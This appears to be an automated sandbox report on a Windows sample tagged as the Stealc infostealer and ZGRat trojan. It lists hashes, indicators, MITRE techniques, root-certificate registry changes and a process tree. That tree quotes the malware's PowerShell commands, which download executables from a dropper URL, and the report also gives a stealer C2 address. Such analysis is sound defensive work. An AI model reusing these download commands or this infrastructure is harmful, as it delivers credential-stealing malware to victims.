stealc | 3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7

Analysis

max time kernel
158s
max time network
162s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
09/05/2024, 22:50

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe
Size 49KB
Sample240509-2skyaaee52
SHA256 3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7
MD5 213c0265511727869c959abd24ea3677
SHA1 22ea6fe23eeb57d0048d1b0e2a826dd66c6969d9
SHA512 bfa4d229ade2e47d91f3fb761e68f727aab86980a2697cb06955324e9b61b384569a285edfaa1d1dd7aea95e24d171a770a4f573a19ec795325c68250720f41e
SSDEEP 1536:XferrLkSRoe8C4UZsys0Dh1duFpxFI+PlZ:Xfi3k+oWDBDh1duFpkWlZ
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

stealc zgrat discovery execution rat spyware stealer

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=444&c=1000

Extracted

Family

stealc

http://185.172.128.150

Attributes

url_path
/c698e1bc8a2f5e6d.php

Signatures

Detect ZGRat V1 3 IoCs

resource	yara_rule
behavioral1/memory/2660-287-0x0000000000A00000-0x0000000004234000-memory.dmp	family_zgrat_v1
behavioral1/memory/2660-292-0x000000001E660000-0x000000001E684000-memory.dmp	family_zgrat_v1
behavioral1/memory/2660-288-0x000000001EEF0000-0x000000001EFFA000-memory.dmp	family_zgrat_v1

Stealc
Stealc is an infostealer written in C++.
stealer stealc
ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat

Blocklisted process makes network request 5 IoCs

flow	pid	Process
18	860	powershell.exe
19	2268	powershell.exe
20	2268	powershell.exe
21	480	powershell.exe
24	480	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 3 IoCs

pid	Process
540	i1.exe
2116	uf0.0.exe
548	uf0.1.exe

Loads dropped DLL 13 IoCs

pid	Process
2168	3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe
2816	cmd.exe
540	i1.exe
540	i1.exe
540	i1.exe
540	i1.exe
540	i1.exe
540	i1.exe
540	i1.exe
540	i1.exe
540	i1.exe
2116	uf0.0.exe
2116	uf0.0.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
860	powershell.exe
2268	powershell.exe
480	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	uf0.1.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	uf0.1.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	uf0.1.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	uf0.0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	uf0.0.exe

Modifies system certificate store 2 TTPs 7 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\317A2AD07F2B335EF5A1C34E4B57E8B7D8F1FCA6\Blob = 19000000010000001000000044ba5fd9039fc9b56fd8aadccd597ca6030000000100000014000000317a2ad07f2b335ef5a1c34e4b57e8b7d8f1fca61d00000001000000100000005959ddbc9c7632ba0a05f06316846fe6140000000100000014000000a848b4242fc6ea24a0d78e3cb93c5c78d79833e4090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000002e00000053007400610072006600690065006c006400200054006500630068006e006f006c006f006700690065007300000053000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00f000000010000001400000007eeabaf80a9ef4ae1b2cb9b4b5fc70d0428e6a92000000001000000eb020000308202e730820250020101300d06092a864886f70d01010505003081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d301e170d3939303632363030313935345a170d3139303632363030313935345a3081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d30819f300d06092a864886f70d010101050003818d0030818902818100ce3a71cae5abc8599255d7abd8740ef9eed9f655475965470e0555dceb98363c5c535dd330cf38ecbd4189ed254209246b0a5eb37cdd522d4ce6d4d67d5a59a965d449132d244d1c506fb5c185543bfe71e4d35c42f980e0911a0a5b393667f33f557c1b3fb45f647334e3b412bf8764f8da12ff3727c1b343bbef7b6e2e69f70203010001300d06092a864886f70d0101050500038181003b7f506f6f509499496238381f4bf8a5c83ea78281f62bc7e8c5cee83a1082cb18008e4dbda8587fa17900b5bbe98daf41d90f34ee218119a0324928f4c48e56d55233fd50d57e996c03e4c94cfccb6cab66b34a218ce5b50c323e10b2cc6ca1dc9a984c025bf3ceb99ea5720e4ab73f3ce61668f8beed744cbc5bd5621f43dd	3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\317A2AD07F2B335EF5A1C34E4B57E8B7D8F1FCA6\Blob = 040000000100000010000000a923759bba49366e31c2dbf2e766ba870f000000010000001400000007eeabaf80a9ef4ae1b2cb9b4b5fc70d0428e6a953000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000002e00000053007400610072006600690065006c006400200054006500630068006e006f006c006f0067006900650073000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000a848b4242fc6ea24a0d78e3cb93c5c78d79833e41d00000001000000100000005959ddbc9c7632ba0a05f06316846fe6030000000100000014000000317a2ad07f2b335ef5a1c34e4b57e8b7d8f1fca619000000010000001000000044ba5fd9039fc9b56fd8aadccd597ca62000000001000000eb020000308202e730820250020101300d06092a864886f70d01010505003081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d301e170d3939303632363030313935345a170d3139303632363030313935345a3081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d30819f300d06092a864886f70d010101050003818d0030818902818100ce3a71cae5abc8599255d7abd8740ef9eed9f655475965470e0555dceb98363c5c535dd330cf38ecbd4189ed254209246b0a5eb37cdd522d4ce6d4d67d5a59a965d449132d244d1c506fb5c185543bfe71e4d35c42f980e0911a0a5b393667f33f557c1b3fb45f647334e3b412bf8764f8da12ff3727c1b343bbef7b6e2e69f70203010001300d06092a864886f70d0101050500038181003b7f506f6f509499496238381f4bf8a5c83ea78281f62bc7e8c5cee83a1082cb18008e4dbda8587fa17900b5bbe98daf41d90f34ee218119a0324928f4c48e56d55233fd50d57e996c03e4c94cfccb6cab66b34a218ce5b50c323e10b2cc6ca1dc9a984c025bf3ceb99ea5720e4ab73f3ce61668f8beed744cbc5bd5621f43dd	3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A	3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A\Blob = 0f00000001000000140000000f6aad4c3fe04619cdc8b2bd655aa1a26042e6500b000000010000005400000053007400610072006600690065006c006400200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f007200690074007900000053000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c009000000010000002a000000302806082b0601050507030106082b0601050507030206082b0601050507030406082b06010505070303140000000100000014000000bf5fb7d1cedd1f86f45b55acdcd710c20ea988e71d000000010000001000000090c4f4233b006b7bfaa6adcd8f577d77030000000100000014000000ad7e1c28b064ef8f6003402014c3d0e3370eb58a2000000001000000130400003082040f308202f7a003020102020100300d06092a864886f70d01010505003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137333931365a170d3334303632393137333931365a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100b732c8fee971a60485ad0c1164dfce4defc80318873fa1abfb3ca69ff0c3a1dad4d86e2b5390fb24a43e84f09ee85fece52744f528a63f7bdee02af0c8af532f9eca0501931e8f661c39a74dfa5ab673042566eb777fe759c64a99251454eb26c7f37f19d530708fafb0462affadeb29edd79faa0487a3d4f989a5345fdb43918236d9663cb1b8b982fd9c3a3e10c83bef0665667a9b19183dff71513c302e5fbe3d7773b25d066cc323569a2b8526921ca702b3e43f0daf087982b8363dea9cd335b3bc69caf5cc9de8fd648d1780336e5e4a5d99c91e87b49d1ac0d56e1335235edf9b5f3defd6f776c2ea3ebb780d1c42676b04d8f8d6da6f8bf244a001ab020103a381c53081c2301d0603551d0e04160414bf5fb7d1cedd1f86f45b55acdcd710c20ea988e73081920603551d2304818a3081878014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7a16ca46a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100059d3f889dd1c91a55a1ac69f3f359da9b01871a4f57a9a179092adbf72fb21eccc75e6ad88387a197ef49353e7706415862bf8e58b80a673fecb3dd21661fc954fa72cc3d4c40d881af779e837abba2c7f534178ed91140f4fc2c2a4d157fa7625d2e25d3000b201a1d68f917b8f4bd8bed2859dd4d168b1783c8b265c72d7aa5aabc53866ddd57a4caf820410b68f0f4fb74be565d7a79f5f91d85e32d95bef5719043cc8d1f9a000a8729e95522580023eae31243295b4708dd8c416a6506a8e521aa41b4952195b97dd134ab13d6adbcdce23d39cdbd3e7570a1185903c922b48f9cd55e2ad7a5b6d40a6df8b74011469a1f790e62bf0f97ece02f1f1794	3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A\Blob = 190000000100000010000000fd960962ac6938e0d4b0769aa1a64e26030000000100000014000000ad7e1c28b064ef8f6003402014c3d0e3370eb58a1d000000010000001000000090c4f4233b006b7bfaa6adcd8f577d77140000000100000014000000bf5fb7d1cedd1f86f45b55acdcd710c20ea988e709000000010000002a000000302806082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030353000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000005400000053007400610072006600690065006c006400200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f00720069007400790000000f00000001000000140000000f6aad4c3fe04619cdc8b2bd655aa1a26042e6502000000001000000130400003082040f308202f7a003020102020100300d06092a864886f70d01010505003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137333931365a170d3334303632393137333931365a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100b732c8fee971a60485ad0c1164dfce4defc80318873fa1abfb3ca69ff0c3a1dad4d86e2b5390fb24a43e84f09ee85fece52744f528a63f7bdee02af0c8af532f9eca0501931e8f661c39a74dfa5ab673042566eb777fe759c64a99251454eb26c7f37f19d530708fafb0462affadeb29edd79faa0487a3d4f989a5345fdb43918236d9663cb1b8b982fd9c3a3e10c83bef0665667a9b19183dff71513c302e5fbe3d7773b25d066cc323569a2b8526921ca702b3e43f0daf087982b8363dea9cd335b3bc69caf5cc9de8fd648d1780336e5e4a5d99c91e87b49d1ac0d56e1335235edf9b5f3defd6f776c2ea3ebb780d1c42676b04d8f8d6da6f8bf244a001ab020103a381c53081c2301d0603551d0e04160414bf5fb7d1cedd1f86f45b55acdcd710c20ea988e73081920603551d2304818a3081878014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7a16ca46a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100059d3f889dd1c91a55a1ac69f3f359da9b01871a4f57a9a179092adbf72fb21eccc75e6ad88387a197ef49353e7706415862bf8e58b80a673fecb3dd21661fc954fa72cc3d4c40d881af779e837abba2c7f534178ed91140f4fc2c2a4d157fa7625d2e25d3000b201a1d68f917b8f4bd8bed2859dd4d168b1783c8b265c72d7aa5aabc53866ddd57a4caf820410b68f0f4fb74be565d7a79f5f91d85e32d95bef5719043cc8d1f9a000a8729e95522580023eae31243295b4708dd8c416a6506a8e521aa41b4952195b97dd134ab13d6adbcdce23d39cdbd3e7570a1185903c922b48f9cd55e2ad7a5b6d40a6df8b74011469a1f790e62bf0f97ece02f1f1794	3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\317A2AD07F2B335EF5A1C34E4B57E8B7D8F1FCA6	3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\317A2AD07F2B335EF5A1C34E4B57E8B7D8F1FCA6\Blob = 0f000000010000001400000007eeabaf80a9ef4ae1b2cb9b4b5fc70d0428e6a953000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000002e00000053007400610072006600690065006c006400200054006500630068006e006f006c006f0067006900650073000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000a848b4242fc6ea24a0d78e3cb93c5c78d79833e41d00000001000000100000005959ddbc9c7632ba0a05f06316846fe6030000000100000014000000317a2ad07f2b335ef5a1c34e4b57e8b7d8f1fca62000000001000000eb020000308202e730820250020101300d06092a864886f70d01010505003081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d301e170d3939303632363030313935345a170d3139303632363030313935345a3081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d30819f300d06092a864886f70d010101050003818d0030818902818100ce3a71cae5abc8599255d7abd8740ef9eed9f655475965470e0555dceb98363c5c535dd330cf38ecbd4189ed254209246b0a5eb37cdd522d4ce6d4d67d5a59a965d449132d244d1c506fb5c185543bfe71e4d35c42f980e0911a0a5b393667f33f557c1b3fb45f647334e3b412bf8764f8da12ff3727c1b343bbef7b6e2e69f70203010001300d06092a864886f70d0101050500038181003b7f506f6f509499496238381f4bf8a5c83ea78281f62bc7e8c5cee83a1082cb18008e4dbda8587fa17900b5bbe98daf41d90f34ee218119a0324928f4c48e56d55233fd50d57e996c03e4c94cfccb6cab66b34a218ce5b50c323e10b2cc6ca1dc9a984c025bf3ceb99ea5720e4ab73f3ce61668f8beed744cbc5bd5621f43dd	3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
860	powershell.exe
2268	powershell.exe
480	powershell.exe
2116	uf0.0.exe
2660	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
2660	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
2660	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
2660	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
2660	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	860	powershell.exe
Token: SeDebugPrivilege	2268	powershell.exe
Token: SeDebugPrivilege	480	powershell.exe
Token: SeDebugPrivilege	2660	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe

Suspicious use of FindShellTrayWindow 7 IoCs

pid	Process
548	uf0.1.exe
548	uf0.1.exe
548	uf0.1.exe
548	uf0.1.exe
548	uf0.1.exe
548	uf0.1.exe
548	uf0.1.exe

Suspicious use of SendNotifyMessage 7 IoCs

pid	Process
548	uf0.1.exe
548	uf0.1.exe
548	uf0.1.exe
548	uf0.1.exe
548	uf0.1.exe
548	uf0.1.exe
548	uf0.1.exe

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 2168 wrote to memory of 2816	2168	3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe	28
PID 2168 wrote to memory of 2816	2168	3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe	28
PID 2168 wrote to memory of 2816	2168	3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe	28
PID 2168 wrote to memory of 2816	2168	3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe	28
PID 2816 wrote to memory of 860	2816	cmd.exe	30
PID 2816 wrote to memory of 860	2816	cmd.exe	30
PID 2816 wrote to memory of 860	2816	cmd.exe	30
PID 2816 wrote to memory of 860	2816	cmd.exe	30
PID 2816 wrote to memory of 2268	2816	cmd.exe	32
PID 2816 wrote to memory of 2268	2816	cmd.exe	32
PID 2816 wrote to memory of 2268	2816	cmd.exe	32
PID 2816 wrote to memory of 2268	2816	cmd.exe	32
PID 2816 wrote to memory of 540	2816	cmd.exe	33
PID 2816 wrote to memory of 540	2816	cmd.exe	33
PID 2816 wrote to memory of 540	2816	cmd.exe	33
PID 2816 wrote to memory of 540	2816	cmd.exe	33
PID 2816 wrote to memory of 480	2816	cmd.exe	34
PID 2816 wrote to memory of 480	2816	cmd.exe	34
PID 2816 wrote to memory of 480	2816	cmd.exe	34
PID 2816 wrote to memory of 480	2816	cmd.exe	34
PID 540 wrote to memory of 2116	540	i1.exe	35
PID 540 wrote to memory of 2116	540	i1.exe	35
PID 540 wrote to memory of 2116	540	i1.exe	35
PID 540 wrote to memory of 2116	540	i1.exe	35
PID 540 wrote to memory of 548	540	i1.exe	36
PID 540 wrote to memory of 548	540	i1.exe	36
PID 540 wrote to memory of 548	540	i1.exe	36
PID 540 wrote to memory of 548	540	i1.exe	36
PID 548 wrote to memory of 2660	548	uf0.1.exe	38
PID 548 wrote to memory of 2660	548	uf0.1.exe	38
PID 548 wrote to memory of 2660	548	uf0.1.exe	38
PID 548 wrote to memory of 2660	548	uf0.1.exe	38

C:\Users\Admin\AppData\Local\Temp\3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe
"C:\Users\Admin\AppData\Local\Temp\3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe"
1⤵
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:2168
- C:\Windows\SysWOW64\cmd.exe
  "cmd" /c "C:\Users\Admin\AppData\Local\Temp\nsi10D3.tmp\est.bat"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2816
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000','stat')"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:860
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000','i1.exe')"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2268
- - C:\Users\Admin\AppData\Local\Temp\i1.exe
    i1.exe /SUB=2838 /str=one
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:540
  - - C:\Users\Admin\AppData\Local\Temp\uf0.0.exe
      "C:\Users\Admin\AppData\Local\Temp\uf0.0.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      PID:2116
  - - C:\Users\Admin\AppData\Local\Temp\uf0.1.exe
      "C:\Users\Admin\AppData\Local\Temp\uf0.1.exe"
      4⤵
      Executes dropped EXE
      Checks SCSI registry key(s)
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:548
    - - C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2660
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=444&c=1000', 'i2.bat')"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:480

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

94308059B57B3142E455B38A6EB92015

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
Size 68KB
SHA256 1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184
MD5 29f65ba8e88c063813cc50a4ea544e93
SHA1 05a7040d5c127e68c25d81cc51271ffb8bef3568
SHA512 e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa
SSDEEP 1536:iMveRG6BWC7T2g1wGUa5QUoaIB9ttiFJG+AOQOXl0Usvwr:feRG6BX6gUaHo9tkBHiUewr
MD5 SHA1 SHA512 SSDEEP

Submit Download

94308059B57B3142E455B38A6EB92015

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Size 304B
SHA256 95a319ad6dc8bc858ce23decfaf7fe0afa56d53f98354904a27b2803e3a42887
MD5 51c3218f3df3ecc91e5051d0e0d19d50
SHA1 83d9bea5ab1b93634f8a1fcd10b18fee463b6a9c
SHA512 713fe04972dd64ba97722360a264f7d1e304623d25f02ffd6340591b94b475e2b460ecf193a243c3868e57e2576cfd8b9dc2a165d991b77bc95e2adcfcd871f4
MD5 SHA1 SHA512

Submit Download

16c1a6aab5024e69a60da44e9e6eea45.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\ApplicationInsights\a34b5051478c01d83934dd5b0120757f7e5ff041b03ce291cb3621788d299269\16c1a6aab5024e69a60da44e9e6eea45.tmp
Size 1KB
SHA256 2aacd4436f067e7620770f32be830d047c472941820c33d7a508b13c08b6dc0a
MD5 5d917ad6944dc76fc0dbe76070298925
SHA1 51951d1fa871044dd0668047993516dedc512717
SHA512 2db179bf11be0211baf1536f6a581c4d0f324d84b7f582d19b0fe6df5149982060409538a8a225bc88760150643e4069017a226175f9b0f9f306afc6f6bdaac5
MD5 SHA1 SHA512

Submit Download

Tar13D8.tmp

Path C:\Users\Admin\AppData\Local\Temp\Tar13D8.tmp
Size 177KB
SHA256 67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34
MD5 435a9ac180383f9fa094131b173a2f7b
SHA1 76944ea657a9db94f9a4bef38f88c46ed4166983
SHA512 1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a
SSDEEP 1536:fAo/J+lCUsTRvsqgCyqWlUDNWdm1wpSru2A0XwjY/z02DTr3rmt6mJ:f/J+qTR0XCy/dmASru2Aijbdq
MD5 SHA1 SHA512 SSDEEP

Submit Download

i1.exe

Path C:\Users\Admin\AppData\Local\Temp\i1.exe
Size 384KB
SHA256 fab860ca07692e3f3f2c438a9faf142288fdbcbb43edf24e8b3b88683a529477
MD5 0f39626443b9a5ecbdac24c96e12728a
SHA1 04c402e550534f0871471f5b80fc5723f283f25c
SHA512 9b74eea35b9ed7ea5e286ec29a676407f72a63c3d90c22616d73d0626a0cf656d9e1aaafd8c07021c38c8bf9cc75cd1a6b6ca4f7198f07c8794aad1d4bf618e6
